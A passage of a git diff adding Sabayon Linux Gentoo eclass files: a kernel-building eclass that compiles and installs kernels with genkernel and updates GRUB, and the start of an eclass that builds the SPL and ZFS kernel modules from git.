+K_MKIMAGE_RAMDISK_ENTRYPOINT="${K_MKIMAGE_RAMDISK_ENTRYPOINT:-}" + +# @ECLASS-VARIABLE: K_MKIMAGE_WRAP_INITRAMFS +# @DESCRIPTION: +# [ARM ONLY] Execute mkimage against the generated initramfs Default is yes ("1"). +K_MKIMAGE_WRAP_INITRAMFS="${K_MKIMAGE_WRAP_INITRAMFS:-1}" + +# @ECLASS-VARIABLE: K_MKIMAGE_KERNEL_ADDRESS +# @DESCRIPTION: +# [ARM ONLY] Provide the kernel load address to be used with mkimage +K_MKIMAGE_KERNEL_ADDRESS="${K_MKIMAGE_KERNEL_ADDRESS:-}" + +KERN_INITRAMFS_SEARCH_NAME="${KERN_INITRAMFS_SEARCH_NAME:-initramfs-genkernel*${K_SABKERNEL_NAME}}" + +# Disable deblobbing feature +K_DEBLOB_AVAILABLE=0 +ETYPE="sources" +K_TARBALL_EXT="${K_TARBALL_EXT:-xz}" + +inherit versionator +if [ "${K_KERNEL_NEW_VERSIONING}" = "1" ]; then + CKV="$(get_version_component_range 1-2)" +fi + +inherit eutils multilib kernel-2 sabayon-artwork mount-boot linux-info + +# from kernel-2 eclass +detect_version +detect_arch + +DESCRIPTION="Sabayon Linux kernel functions and phases" + + +K_LONGTERM_URL_STR="" +if [ -n "${K_SABKERNEL_LONGTERM}" ]; then + K_LONGTERM_URL_STR="/longterm/v${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}" +fi + +## kernel-2 eclass settings +if [ "${K_SABKERNEL_PATCH_UPSTREAM_TARBALL}" = "1" ]; then + _patch_name="$(get_version_component_range 1-2)-${K_SABKERNEL_SELF_TARBALL_NAME}-${PVR}.patch.xz" + SRC_URI="${KERNEL_URI} + mirror://sabayon/${CATEGORY}/${_patch_name} + " + UNIPATCH_LIST="${UNIPATCH_LIST} ${DISTDIR}/${_patch_name}" + unset _patch_name +elif [ -n "${K_SABKERNEL_SELF_TARBALL_NAME}" ]; then + SRC_URI="mirror://sabayon/${CATEGORY}/linux-${PVR}+${K_SABKERNEL_SELF_TARBALL_NAME}.tar.${K_TARBALL_EXT}" +else + SRC_URI="${KERNEL_URI}" +fi + +if [ -z "${K_SABKERNEL_SELF_TARBALL_NAME}" ]; then + if [ -n "${K_KERNEL_PATCH_VER}" ]; then + K_PATCH_NAME="patch-${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}.${K_KERNEL_PATCH_VER}.${K_TARBALL_EXT}" + SRC_URI="${SRC_URI} + mirror://kernel/linux/kernel/v${KV_MAJOR}.${KV_MINOR}${K_LONGTERM_URL_STR}/${K_PATCH_NAME}" + UNIPATCH_LIST="${DISTDIR}/${K_PATCH_NAME} + ${UNIPATCH_LIST}" + fi +fi +if [ -n "${K_KERNEL_PATCH_HOTFIXES}" ]; then + UNIPATCH_LIST="${UNIPATCH_LIST} ${K_KERNEL_PATCH_HOTFIXES}" +fi + +_get_real_kv_full() { + if [[ "${KV_MAJOR}${KV_MINOR}" -eq 26 ]]; then + echo "${ORIGINAL_KV_FULL}" + elif [[ "${OKV/.*}" = "3" ]]; then + # Linux 3.x support, KV_FULL is set to: 3.0-sabayon + # need to add another final .0 to the version part + echo "${ORIGINAL_KV_FULL/-/.0-}" + else + echo "${ORIGINAL_KV_FULL}" + fi +} + +# replace "linux" with K_SABKERNEL_NAME, usually replaces +# "linux" with "sabayon" or "server" or "openvz" +KV_FULL="${KV_FULL/${PN/-*}/${K_SABKERNEL_NAME}}" +EXTRAVERSION="${EXTRAVERSION/${PN/-*}/${K_SABKERNEL_NAME}}" +# drop -rX if exists +if [[ -n "${PR//r0}" ]] && [[ "${K_KERNEL_DISABLE_PR_EXTRAVERSION}" = "1" ]] \ + && [[ -z "${K_NOSETEXTRAVERSION}" ]]; then + EXTRAVERSION="${EXTRAVERSION%-r*}" + KV_FULL="${KV_FULL%-r*}" + KV="${KV%-r*}" +fi +# rewrite it +ORIGINAL_KV_FULL="${KV_FULL}" +KV_FULL="$(_get_real_kv_full)" + +# Starting from linux-3.0, we still have to install +# sources stuff into /usr/src/linux-3.0.0-sabayon (example) +# where the last part must always match uname -r +# otherwise kernel-switcher (and RELEASE_LEVEL file) +# will complain badly +KV_OUT_DIR="/usr/src/linux-${KV_FULL}" +S="${WORKDIR}/linux-${KV_FULL}" + + +if [ -n "${K_FIRMWARE_PACKAGE}" ]; then + SLOT="0" +elif [ "${K_KERNEL_SLOT_USEPVR}" = "1" ]; then + SLOT="${PVR}" +elif [ "${K_KERNEL_NEW_VERSIONING}" = "1" ]; then + SLOT="$(get_version_component_range 1-2)" +else + SLOT="${PV}" +fi + +_is_kernel_binary() { + if [ -z "${K_ONLY_SOURCES}" ] && [ -z "${K_FIRMWARE_PACKAGE}" ]; then + # yes it is + return 0 + else + # no it isn't + return 1 + fi +} + +_is_kernel_lts() { + local _ver="$(get_version_component_range 1-2)" + [ "${_ver}" = "3.0" ] && return 0 + [ "${_ver}" = "3.2" ] && return 0 + [ "${_ver}" = "3.4" ] && return 0 + [ "${_ver}" = "3.10" ] && return 0 + return 1 +} + +# provide extra virtual pkg +if _is_kernel_binary; then + PROVIDE="virtual/linux-binary" +# LTS support + if [ "${K_KERNEL_LTS}" = "1" ] || _is_kernel_lts; then + PROVIDE+=" virtual/linux-binary-lts" + fi +fi + +if [ -n "${K_SABKERNEL_SELF_TARBALL_NAME}" ]; then + HOMEPAGE="https://github.com/Sabayon/kernel" +else + HOMEPAGE="http://www.sabayon.org" +fi + +# Returns success if _set_config_file_vars was called. +_is_config_file_set() { + [[ ${_config_file_set} = 1 ]] +} + +# Returns the arm kernel config file extension for the current subarch +_get_arm_subarch() { + local target="${CTARGET:-${CHOST}}" + local arm_arch=${target%%-*} + if [[ ${arm_arch} == armv7? ]]; then + echo "armv7" + elif [[ ${arm_arch} == armv6? ]]; then + echo "armv6" + elif [[ ${arm_arch} == armv5? ]]; then + echo "armv5" + fi +} + +_get_arch() { + if use arm; then + _get_arm_subarch + elif use amd64; then + echo "amd64" + elif use x86; then + echo "x86" + fi +} + +_set_config_file_vars() { + # Setup kernel configuration file name + local pvr="${PVR}" + local pv="${PV}" + if [ "${K_KERNEL_NEW_VERSIONING}" = "1" ]; then + pvr="$(get_version_component_range 1-2)" + pv="${pvr}" + if [ "${PR}" != "r0" ]; then + pvr+="-${PR}" + fi + fi + + K_SABKERNEL_CONFIG_FILES=() + K_SABKERNEL_CONFIG_FILES+=( "${K_SABKERNEL_NAME}-${pvr}-$(_get_arch).config" ) + K_SABKERNEL_CONFIG_FILES+=( "${K_SABKERNEL_NAME}-${pv}-$(_get_arch).config" ) + K_SABKERNEL_CONFIG_FILES+=( "${K_SABKERNEL_NAME}-$(_get_arch).config" ) + + _config_file_set=1 +} + +if [ -n "${K_ONLY_SOURCES}" ] || [ -n "${K_FIRMWARE_PACKAGE}" ]; then + IUSE="${IUSE}" + DEPEND="sys-apps/sed" + RDEPEND="${RDEPEND}" +else + IUSE="dmraid dracut iscsi luks lvm mdadm plymouth splash" + if [ -n "${K_SABKERNEL_ZFS}" ]; then + IUSE="${IUSE} zfs" + fi + DEPEND="app-arch/xz-utils + sys-apps/sed + sys-devel/autoconf + sys-devel/make + || ( >=sys-kernel/genkernel-next-5 >=sys-kernel/genkernel-3.4.45-r2 ) + arm? ( dev-embedded/u-boot-tools ) + amd64? ( sys-apps/v86d ) + x86? ( sys-apps/v86d ) + splash? ( x11-themes/sabayon-artwork-core ) + lvm? ( sys-fs/lvm2 sys-block/thin-provisioning-tools ) + plymouth? ( + || ( >=sys-kernel/genkernel-next-5 >=sys-kernel/genkernel-5 ) + sys-boot/plymouth + ) + dracut? ( sys-apps/v86d sys-kernel/dracut )" + RDEPEND="sys-apps/sed + sys-kernel/linux-firmware" + if [ -n "${K_REQUIRED_LINUX_FIRMWARE_VER}" ]; then + RDEPEND+=" >=sys-kernel/linux-firmware-${K_REQUIRED_LINUX_FIRMWARE_VER}" + fi +fi + +# internal function +# +# FUNCTION: _update_depmod +# @USAGE: _update_depmod <-r depmod> +# DESCRIPTION: +# It updates the modules.dep file for the current kernel. +# This is more or less the same of linux-mod update_depmod, with the +# exception of accepting parameter which is passed to depmod -r switch +_update_depmod() { + + # if we haven't determined the version yet, we need too. + get_version; + + ebegin "Updating module dependencies for ${KV_FULL}" + if [ -r "${KV_OUT_DIR}"/System.map ]; then + depmod -ae -F "${KV_OUT_DIR}"/System.map -b "${ROOT}" -r "${1}" + eend $? + else + ewarn + ewarn "${KV_OUT_DIR}/System.map not found." + ewarn "You must manually update the kernel module dependencies using depmod." + eend 1 + ewarn + fi +} + +sabayon-kernel_pkg_setup() { + if [ -n "${K_FIRMWARE_PACKAGE}" ]; then + einfo "Preparing kernel firmwares" + else + einfo "Preparing kernel and its modules" + fi +} + +sabayon-kernel_src_unpack() { + local okv="${OKV}" + if [ -n "${K_SABKERNEL_SELF_TARBALL_NAME}" ] && [ "${K_SABKERNEL_PATCH_UPSTREAM_TARBALL}" != "1" ]; then + OKV="${PVR}+${K_SABKERNEL_SELF_TARBALL_NAME}" + fi + if [ "${K_KERNEL_NEW_VERSIONING}" = "1" ]; then + # workaround for kernel-2's universal_unpack assumptions + UNIPATCH_LIST_DEFAULT= KV_MAJOR=0 kernel-2_src_unpack + else + kernel-2_src_unpack + fi + if [ -n "${K_SABKERNEL_FORCE_SUBLEVEL}" ]; then + # patch out Makefile with proper sublevel + sed -i "s:^SUBLEVEL = .*:SUBLEVEL = ${K_SABKERNEL_FORCE_SUBLEVEL}:" \ + "${S}/Makefile" || die + fi + if [ -n "${K_SABKERNEL_RESET_EXTRAVERSION}" ]; then + sed -i "s:^EXTRAVERSION =.*:EXTRAVERSION = :" "${S}/Makefile" || die + # some sources could have multiple append-based EXTRAVERSIONs + sed -i "s/^EXTRAVERSION :=.*//" "${S}/Makefile" || die + fi + OKV="${okv}" + + # Let's handle EAPIs 0 and 1... + case ${EAPI:-0} in + 0|1) sabayon-kernel_src_prepare ;; + esac +} + +sabayon-kernel_src_prepare() { + _set_config_file_vars +} + +sabayon-kernel_src_compile() { + if [ -n "${K_FIRMWARE_PACKAGE}" ]; then + _firmwares_src_compile + elif [ -n "${K_ONLY_SOURCES}" ]; then + kernel-2_src_compile + else + _kernel_src_compile + fi +} + +_firmwares_src_compile() { + einfo "Starting to compile firmwares..." + _kernel_copy_config "${S}/.config" + cd "${S}" || die "cannot find source dir" + + export LDFLAGS="" + OLDARCH="${ARCH}" + unset ARCH + emake firmware || die "cannot compile firmwares" + ARCH="${OLDARCH}" +} + +_kernel_copy_config() { + _is_config_file_set \ + || die "Kernel configuration file not set. Was sabayon-kernel_src_prepare() called?" + + local base_path="${DISTDIR}" + if [ -n "${K_SABKERNEL_SELF_TARBALL_NAME}" ]; then + base_path="${S}/sabayon/config" + fi + + local found= cfg= + for cfg in "${K_SABKERNEL_CONFIG_FILES[@]}"; do + cfg="${base_path}/${cfg}" + if [ -f "${cfg}" ]; then + cp "${cfg}" "${1}" || die "cannot copy kernel config ${cfg} -> ${1}" + elog "Using kernel config: ${cfg}" + found=1 + break + fi + done + [[ -z "${found}" ]] && die "cannot find kernel configs among: ${K_SABKERNEL_CONFIG_FILES[*]}" +} + +_kernel_src_compile() { + # disable sandbox + export SANDBOX_ON=0 + + # needed anyway, even if grub use flag is not used here + if use amd64 || use x86; then + mkdir -p "${WORKDIR}"/boot/grub + else + mkdir -p "${WORKDIR}"/boot + fi + + einfo "Starting to compile kernel..." + _kernel_copy_config "${WORKDIR}"/config + + # do some cleanup + rm -rf "${WORKDIR}"/lib + rm -rf "${WORKDIR}"/cache + rm -rf "${S}"/temp + + # creating workdirs + # some kernels fail with make 3.82 if firmware dir is not created + mkdir "${WORKDIR}"/lib/lib/firmware -p + mkdir "${WORKDIR}"/cache + mkdir "${S}"/temp + + cd "${S}" || die + local GKARGS=() + GKARGS+=( "--no-save-config" "--e2fsprogs" "--udev" ) + use splash && GKARGS+=( "--splash=sabayon" ) + use plymouth && GKARGS+=( "--plymouth" "--plymouth-theme=${PLYMOUTH_THEME}" ) + use dmraid && GKARGS+=( "--dmraid" ) + use iscsi && GKARGS+=( "--iscsi" ) + use mdadm && GKARGS+=( "--mdadm" ) + use luks && GKARGS+=( "--luks" ) + use lvm && GKARGS+=( "--lvm" ) + if [ -n "${K_SABKERNEL_ZFS}" ]; then + use zfs && GKARGS+=( "--zfs" ) + fi + + export DEFAULT_KERNEL_SOURCE="${S}" + export CMD_KERNEL_DIR="${S}" + for opt in ${MAKEOPTS}; do + if [ "${opt:0:2}" = "-j" ]; then + mkopts="${opt}" + break + fi + done + [ -z "${mkopts}" ] && mkopts="-j3" + + if [ -n "${K_KERNEL_IMAGE_NAME}" ]; then + GKARGS+=( "--kernel-target=${K_KERNEL_IMAGE_NAME}" ) + elif use arm; then + # backward compat + provide sane defaults. + GKARGS+=( "--kernel-target=uImage" ) + fi + if [ -n "${K_KERNEL_IMAGE_PATH}" ]; then + GKARGS+=( "--kernel-binary=${K_KERNEL_IMAGE_PATH}" ) + elif use arm; then + # backward compat + provide sane defaults. + GKARGS+=( "--kernel-binary=arch/arm/boot/uImage" ) + fi + + # Workaround bug in splash_geninitramfs corrupting the initramfs + # if xz compression is used (newer genkernel >3.4.24) + local support_comp=$(genkernel --help | grep compress-initramfs-type) + if [ -n "${support_comp}" ]; then + GKARGS+=( "--compress-initramfs-type=gzip" ) + fi + + # Use --disklabel if genkernel supports it + local support_disklabel=$(genkernel --help | grep -- --disklabel) + if [ -n "${support_disklabel}" ]; then + GKARGS+=( "--disklabel" ) + fi + + if [ -n "${K_MKIMAGE_KERNEL_ADDRESS}" ]; then + export LOADADDR="${K_MKIMAGE_KERNEL_ADDRESS}" + fi + OLDARCH="${ARCH}" + unset ARCH + unset LDFLAGS + DEFAULT_KERNEL_SOURCE="${S}" CMD_KERNEL_DIR="${S}" genkernel "${GKARGS[@]}" ${K_GENKERNEL_ARGS} \ + --kerneldir="${S}" \ + --kernel-config="${WORKDIR}"/config \ + --cachedir="${WORKDIR}"/cache \ + --makeopts="${mkopts}" \ + --tempdir="${S}"/temp \ + --logfile="${WORKDIR}"/genkernel.log \ + --bootdir="${WORKDIR}"/boot \ + --mountboot \ + --module-prefix="${WORKDIR}"/lib \ + all || die "genkernel failed" + + if [ -n "${K_MKIMAGE_KERNEL_ADDRESS}" ]; then + unset LOADADDR + fi + + ARCH=${OLDARCH} +} + +_setup_mkimage_ramdisk() { + local initramfs=$(ls "${WORKDIR}"/boot/${KERN_INITRAMFS_SEARCH_NAME}* 2> /dev/null) + if [ ! -e "${initramfs}" ] || [ ! -f "${initramfs}" ]; then + ewarn "No initramfs at ${initramfs}, cannot run mkimage on it!" + elif [ "${K_MKIMAGE_WRAP_INITRAMFS}" = "1" ]; then + einfo "Setting up u-boot initramfs for: ${initramfs}" + mkimage -A arm -O linux -T ramdisk -C none -a \ + "${K_MKIMAGE_RAMDISK_ADDRESS}" \ + -e "${K_MKIMAGE_RAMDISK_ENTRYPOINT}" -d "${initramfs}" \ + "${initramfs}.u-boot" || return 1 + mv "${initramfs}.u-boot" "${initramfs}" || return 1 + else + einfo "mkimage won't be called for: ${initramfs}" + fi + return 0 +} + +sabayon-kernel_src_install() { + if [ -n "${K_FIRMWARE_PACKAGE}" ]; then + _firmwares_src_install + elif [ -n "${K_ONLY_SOURCES}" ]; then + _kernel_sources_src_install + else + _kernel_src_install + fi + # File collisions between slots, debug stuff + # not really needed for a kernel + rm -rf "${D}/usr/lib/debug" +} + +_firmwares_src_install() { + dodir /lib/firmware + keepdir /lib/firmware + cd "${S}" || die + emake INSTALL_FW_PATH="${D}/lib/firmware" firmware_install || die "cannot install firmwares" +} + +_kernel_sources_src_install() { + _kernel_copy_config ".config" + kernel-2_src_install + cd "${D}${KV_OUT_DIR}" || die + local oldarch="${ARCH}" + unset ARCH + if ! use sources_standalone; then + make modules_prepare || die "failed to run modules_prepare" + rm .config || die "cannot remove .config" + rm Makefile || die "cannot remove Makefile" + rm -f include/linux/version.h + rm -f include/generated/uapi/linux/version.h + fi + ARCH="${oldarch}" +} + +_kernel_src_install() { + if use arm; then + _setup_mkimage_ramdisk || die "cannot setup mkimage" + fi + + dodir "${KV_OUT_DIR}" + insinto "${KV_OUT_DIR}" + + _kernel_copy_config ".config" + doins ".config" || die "cannot copy kernel config" + doins Makefile || die "cannot copy Makefile" + doins Module.symvers || die "cannot copy Module.symvers" + doins System.map || die "cannot copy System.map" + + # NOTE: this is a workaround caused by linux-info.eclass not + # being ported to EAPI=2 yet + local version_h_dir="include/linux" + local version_h_dir2="include/generated/uapi/linux" + local version_h= + local version_h_src= + for ver_dir in "${version_h_dir}" "${version_h_dir2}"; do + version_h="${ROOT}${KV_OUT_DIR/\//}/${ver_dir}/version.h" + if [ -f "${version_h}" ]; then + einfo "Discarding previously installed version.h to avoid collisions" + addwrite "${version_h}" + rm -f "${version_h}" + fi + + # Include include/linux/version.h to make Portage happy + version_h_src="${S}/${ver_dir}/version.h" + if [ -f "${version_h_src}" ]; then + dodir "${KV_OUT_DIR}/${ver_dir}" + insinto "${KV_OUT_DIR}/${ver_dir}" + doins "${version_h_src}" || die "cannot copy version.h" + fi + done + + insinto "/boot" + doins "${WORKDIR}"/boot/* || die "cannot copy /boot over" + cp -Rp "${WORKDIR}"/lib/* "${D}/" || die "cannot copy /lib over" + + # Install dtbs if found + if use arm; then + local dtb_dir="/lib/dts/${KV_FULL}" + elog "Installing .dtbs (if any) into ${dtb_dir}" + insinto "${dtb_dir}" + local dtb= + for dtb in "${S}/arch/arm/boot/dts"/*.dtb; do + if [ -f "${dtb}" ]; then + elog "Installing dtb: ${dtb}" + doins "${dtb}" + fi + done + fi + + # This doesn't always work because KV_FULL (when K_NOSETEXTRAVERSION=1) doesn't + # reflect the real value used in Makefile + #dosym "../../..${KV_OUT_DIR}" "/lib/modules/${KV_FULL}/source" || die "cannot install source symlink" + #dosym "../../..${KV_OUT_DIR}" "/lib/modules/${KV_FULL}/build" || die "cannot install build symlink" + cd "${D}"/lib/modules/* || die "cannot enter /lib/modules directory, more than one element?" + # cleanup previous + rm -f build source || die + # create sane symlinks + ln -sf "../../..${KV_OUT_DIR}" source || die "cannot create source symlink" + ln -sf "../../..${KV_OUT_DIR}" build || die "cannot create build symlink" + cd "${S}" || die + + # drop ${D}/lib/firmware, virtual/linux-firmwares provides it + rm -rf "${D}/lib/firmware" + + if [ -n "${K_WORKAROUND_SOURCES_COLLISION}" ]; then + # Fixing up Makefile collision if already installed by + # openvz-sources + einfo "Workarounding source package collisions" + make_file="${KV_OUT_DIR/\//}/Makefile" + einfo "Makefile: ${make_file}" + if [ -f "${ROOT}/${make_file}" ]; then + elog "Removing ${D}/${make_file}" + rm -f "${D}/${make_file}" + fi + fi + + # Install kernel configuration information + # useful for Entropy kernel-switcher + # release level is enough for now + base_dir="/etc/kernels/${P}" + dodir "${base_dir}" + insinto "${base_dir}" + echo "${KV_FULL}" > "RELEASE_LEVEL" + doins "RELEASE_LEVEL" + einfo "Installing ${base_dir}/RELEASE_LEVEL file: ${KV_FULL}" + + use dracut && \ + _dracut_initramfs_create "${KV_FULL}" +} + +sabayon-kernel_pkg_preinst() { + if _is_kernel_binary; then + mount-boot_pkg_preinst + fi +} +sabayon-kernel_grub2_mkconfig() { + if [ -x "${ROOT}usr/sbin/grub2-mkconfig" ]; then + # Grub 2.00 + "${ROOT}usr/sbin/grub2-mkconfig" -o "${ROOT}boot/grub/grub.cfg" + elif [ -x "${ROOT}sbin/grub-mkconfig" ]; then + # Grub 1.99 + "${ROOT}sbin/grub-mkdevicemap" --device-map="${ROOT}boot/grub/device.map" + "${ROOT}sbin/grub-mkconfig" -o "${ROOT}boot/grub/grub.cfg" + else + echo + ewarn "Attention, Grub2 is not installed !!!" + ewarn "Grub2 bootloader configuration won't be updated" + echo + fi +} + +_get_real_extraversion() { + make_file="${ROOT}${KV_OUT_DIR}/Makefile" + local extraver=$(grep -r "^EXTRAVERSION =" "${make_file}" | cut -d "=" -f 2 | head -n 1) + local trimmed=${extraver%% } + echo ${trimmed## } +} + +_get_release_level() { + if [[ -n "${K_WORKAROUND_USE_REAL_EXTRAVERSION}" ]]; then + echo "${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}$(_get_real_extraversion)" + elif [[ "${KV_MAJOR}${KV_MINOR}" -eq 26 ]]; then + echo "${KV_FULL}" + elif [[ "${OKV/.*}" = "3" ]] && [[ "${KV_PATCH}" = "0" ]]; then + # Linux 3.x support, KV_FULL is set to: 3.0-sabayon + # need to add another final .0 to the version part + echo "${KV_FULL/-/.0-}" + else + echo "${KV_FULL}" + fi +} + +sabayon-kernel_uimage_config() { + # Two cases here: + # 1. /boot/uImage symlink is broken (pkg_postrm) + # 2. /boot/uImage symlink doesn't exist (pkg_postinst) + + if ! has_version app-admin/eselect-uimage; then + ewarn "app-admin/eselect-uimage not installed" + ewarn "If you are using this tool, please install it" + return 0 + fi + + local uimage_file=$(eselect uimage show --quiet 2> /dev/null) + if [ -z "${uimage_file}" ]; then + # pick the first listed, sorry! + local eselect_list=$(eselect uimage list --quiet 2> /dev/null) + if [ -n "${eselect_list}" ]; then + eselect uimage set 1 + else + echo + ewarn "No more kernels available, you won't be able to boot" + echo + fi + else + echo + elog "If you use eselect-bzimage, you are currently booting with kernel:" + elog "${uimage_file}" + elog + elog "Use 'eselect uimage' in order to switch between the available ones" + echo + fi +} + +sabayon-kernel_bzimage_config() { + # Two cases here: + # 1. /boot/bzImage symlink is broken (pkg_postrm) + # 2. /boot/bzImage symlink doesn't exist (pkg_postinst) + local kern_arch + use x86 && kern_arch="x86" + use amd64 && kern_arch="x86_64" + + if ! has_version app-admin/eselect-bzimage; then + ewarn "app-admin/eselect-bzimage not installed" + ewarn "If you are using this tool, please install it" + return 0 + fi + + local bzimage_file=$(eselect bzimage show --quiet 2> /dev/null) + if [ -z "${bzimage_file}" ]; then + # try to pic what's being installed + local eselect_list=$(eselect bzimage list --quiet 2> /dev/null) + if [ -n "${eselect_list}" ]; then + eselect bzimage set "kernel-genkernel-${kern_arch}-${KV_FULL}" + if [ "${?}" != "0" ]; then + # pick the first available, sorry! + echo + eselect bzimage set 1 + ewarn "Unable to select the right kernel, falling back" + ewarn "to the first available entry. You have been warned" + echo + fi + else + echo + ewarn "No more kernels available, you might not be able to boot" + echo + fi + else + echo + ewarn "You are currently booting with kernel:" + ewarn "${bzimage_file}" + ewarn + ewarn "Use 'eselect bzimage' in order to switch between the available ones" + echo + fi +} + +_dracut_initramfs_create() { + local kver="${1}" + + elog "Creating dracut initramfs for ${kver}" + addpredict /etc/ld.so.cache~ + dracut -q -N -f --kver="${kver}" "${D}/boot/initramfs-dracut-${kver}" +} + +sabayon-kernel_pkg_postinst() { + if _is_kernel_binary; then + fstab_file="${ROOT}etc/fstab" + einfo "Removing extents option for ext4 drives from ${fstab_file}" + # Remove "extents" from /etc/fstab + if [ -f "${fstab_file}" ]; then + sed -i '/ext4/ s/extents//g' "${fstab_file}" + fi + + # Update kernel initramfs to match user customizations + update_sabayon_kernel_initramfs_splash + + # Add kernel to grub.conf + if use amd64 || use x86; then + if use amd64; then + local kern_arch="x86_64" + else + local kern_arch="x86" + fi + # grub-legacy + if [ -x "${ROOT}usr/sbin/grub-handler" ]; then + "${ROOT}usr/sbin/grub-handler" add \ + "/boot/kernel-genkernel-${kern_arch}-${KV_FULL}" \ + "/boot/initramfs-genkernel-${kern_arch}-${KV_FULL}" + fi + + sabayon-kernel_grub2_mkconfig + fi + + # Setup newly installed kernel on ARM + if use arm; then + sabayon-kernel_uimage_config + fi + # Setup newly installed kernel on x86/amd64 + # This is quite handy for static grub1/grub2 + # configurations (like on Amazon EC2) + if use x86 || use amd64; then + sabayon-kernel_bzimage_config + fi + + kernel-2_pkg_postinst + local depmod_r=$(_get_release_level) + _update_depmod "${depmod_r}" + + elog "Please report kernel bugs at:" + elog "http://bugs.sabayon.org" + + elog "The source code of this kernel is located at" + elog "=${K_KERNEL_SOURCES_PKG}." + elog "Sabayon Linux recommends that portage users install" + elog "${K_KERNEL_SOURCES_PKG} if you want" + elog "to build any packages that install kernel modules" + elog "(such as ati-drivers, nvidia-drivers, virtualbox, etc...)." + else + kernel-2_pkg_postinst + fi +} + +sabayon-kernel_pkg_prerm() { + if _is_kernel_binary; then + mount-boot_pkg_prerm + fi +} + +sabayon-kernel_pkg_postrm() { + if _is_kernel_binary; then + # Remove kernel from grub.conf + if use amd64 || use x86; then + if use amd64; then + local kern_arch="x86_64" + else + local kern_arch="x86" + fi + if [ -x "${ROOT}usr/sbin/grub-handler" ]; then + "${ROOT}usr/sbin/grub-handler" remove \ + "/boot/kernel-genkernel-${kern_arch}-${KV_FULL}" \ + "/boot/initramfs-genkernel-${kern_arch}-${KV_FULL}" + fi + + sabayon-kernel_grub2_mkconfig + fi + + # Setup newly installed kernel on ARM + if use arm; then + sabayon-kernel_uimage_config + fi + # Setup newly installed kernel on x86/amd64 + # This is quite handy for static grub1/grub2 + # configurations (like on Amazon EC2) + if use x86 || use amd64; then + sabayon-kernel_bzimage_config + fi + fi +} + +# export all the available functions here +case ${EAPI:-0} in + 0|1) extra_export_funcs= ;; + *) extra_export_funcs=src_prepare ;; +esac + +EXPORT_FUNCTIONS pkg_setup src_unpack ${extra_export_funcs} \ + src_compile src_install pkg_preinst pkg_postinst pkg_prerm pkg_postrm diff --git a/eclass/spl-zfs-kernel.eclass b/eclass/spl-zfs-kernel.eclass new file mode 100644 index 00000000..74fb8589 --- /dev/null +++ b/eclass/spl-zfs-kernel.eclass @@ -0,0 +1,183 @@ +# Copyright 2004-2012 Sabayon Linux +# Distributed under the terms of the GNU General Public License v2 +# $ + +AT_M4DIR="config" +AUTOTOOLS_AUTORECONF="1" +AUTOTOOLS_IN_SOURCE_BUILD="1" + +inherit eutils flag-o-matic git-2 linux-mod autotools-utils + +# export all the available functions here +EXPORT_FUNCTIONS pkg_setup src_unpack src_prepare src_configure src_compile src_install pkg_preinst pkg_postinst pkg_postrm + +# @ECLASS-VARIABLE: ZFS_GIT_REPO +# @DESCRIPTION: +# Identified the ZFS Git repo from where to pull +ZFS_GIT_REPO="${ZFS_GIT_REPO:-}" + +# @ECLASS-VARIABLE: ZFS_GIT_BRANCH +# @DESCRIPTION: +# Identified the ZFS Git branch from where to pull +ZFS_GIT_BRANCH="${ZFS_GIT_BRANCH:-}" + +# @ECLASS-VARIABLE: ZFS_GIT_COMMIT +# @DESCRIPTION: +# Identified the ZFS Git commit from where to pull +ZFS_GIT_COMMIT="${ZFS_GIT_COMMIT:-}" + +# @ECLASS-VARIABLE: SPL_GIT_REPO +# @DESCRIPTION: +# Identified the SPL Git repo from where to pull +SPL_GIT_REPO="${SPL_GIT_REPO:-}" + +# @ECLASS-VARIABLE: SPL_GIT_BRANCH +# @DESCRIPTION: +# Identified the SPL Git branch from where to pull +SPL_GIT_BRANCH="${SPL_GIT_BRANCH:-}" + +# @ECLASS-VARIABLE: SPL_GIT_COMMIT +# @DESCRIPTION: +# Identified the SPL Git commit from where to pull +SPL_GIT_COMMIT="${SPL_GIT_COMMIT:-}" + +SRC_URI="" + +DESCRIPTION="The Solaris Porting Layer Linux kernel module and ZFS Filesystem" +HOMEPAGE="http://zfsonlinux.org/" + +LICENSE="|| ( GPL-2 GPL-3 ) CDDL" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="custom-cflags debug" + +RDEPEND+="!sys-devel/spl ~sys-fs/zfs-userspace-${PV}" + +SPL_S="${S}/spl-src" +ZFS_S="${S}/zfs-src" + +spl-zfs-kernel_pkg_setup() { + CONFIG_CHECK=" + !DEBUG_LOCK_ALLOC + BLK_DEV_LOOP + EFI_PARTITION + MODULES + KALLSYMS + ZLIB_DEFLATE + ZLIB_INFLATE" + kernel_is ge 2 6 26 || die "Linux 2.6.26 or newer required" + check_extra_config +} + +spl-zfs-kernel_src_unpack() { + # unpack spl + EGIT_REPO_URI="${SPL_GIT_REPO}" \ + EGIT_BRANCH="${SPL_GIT_BRANCH}" \ + EGIT_COMMIT="${SPL_GIT_COMMIT}" \ + EGIT_SOURCEDIR="${SPL_S}" \ + git-2_src_unpack + + # unpack zfs + EGIT_REPO_URI="${ZFS_GIT_REPO}" \ + EGIT_BRANCH="${ZFS_GIT_BRANCH}" \ + EGIT_COMMIT="${ZFS_GIT_COMMIT}" \ + EGIT_SOURCEDIR="${ZFS_S}" \ + git-2_src_unpack +} + +_zfs_src_prepare() { + # Workaround for hard coded path + sed -i "s|/sbin/lsmod|/bin/lsmod|" "${ZFS_S}"/scripts/common.sh.in || die + # Workaround rename + sed -i "s|/usr/bin/scsi-rescan|/usr/sbin/rescan-scsi-bus|" "${ZFS_S}"/scripts/common.sh.in || die + cd "${ZFS_S}" && ECONF_SOURCE="${ZFS_S}" autotools-utils_src_prepare +} + +_spl_src_prepare() { + # Workaround for hard coded path + sed -i "s|/sbin/lsmod|/bin/lsmod|" "${SPL_S}"/scripts/check.sh || die + cd "${SPL_S}" && ECONF_SOURCE="${SPL_S}" autotools-utils_src_prepare +} + +spl-zfs-kernel_src_prepare() { + _spl_src_prepare + _zfs_src_prepare +} + +_zfs_src_configure() { + use custom-cflags || strip-flags + set_arch_to_kernel + + local myeconfargs=( + --bindir="${EPREFIX}/bin" + --sbindir="${EPREFIX}/sbin" + --with-config=kernel + --with-linux="${KV_DIR}" + --with-linux-obj="${KV_OUT_DIR}" + --with-udevdir="${EPREFIX}/lib/udev" + $(use_enable debug) + --with-spl="${SPL_S}" + ) + cd "${ZFS_S}" && ECONF_SOURCE="${ZFS_S}" autotools-utils_src_configure +} + +_spl_src_configure() { + use custom-cflags || strip-flags + set_arch_to_kernel + + local 